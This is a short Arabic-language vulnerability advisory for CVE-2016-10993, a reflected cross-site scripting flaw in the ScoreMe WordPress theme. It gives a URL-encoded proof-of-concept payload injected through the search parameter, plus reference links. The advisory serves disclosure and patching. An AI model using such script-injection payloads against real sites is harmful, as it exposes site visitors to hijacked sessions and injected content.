CVE-2016-10993

ثغرة في ووردبريس - XSS (برمجة نصية عبر المواقع)

موقع الثغرة

https://themesinfo.com/scoreme-wordpress-theme-design-496

إثبات المفهوم (PoC)

https://example.com/?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

المراجع

https://wpscan.com/vulnerability/8431

https://nvd.nist.gov/vuln/detail/cve-2016-10993

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10993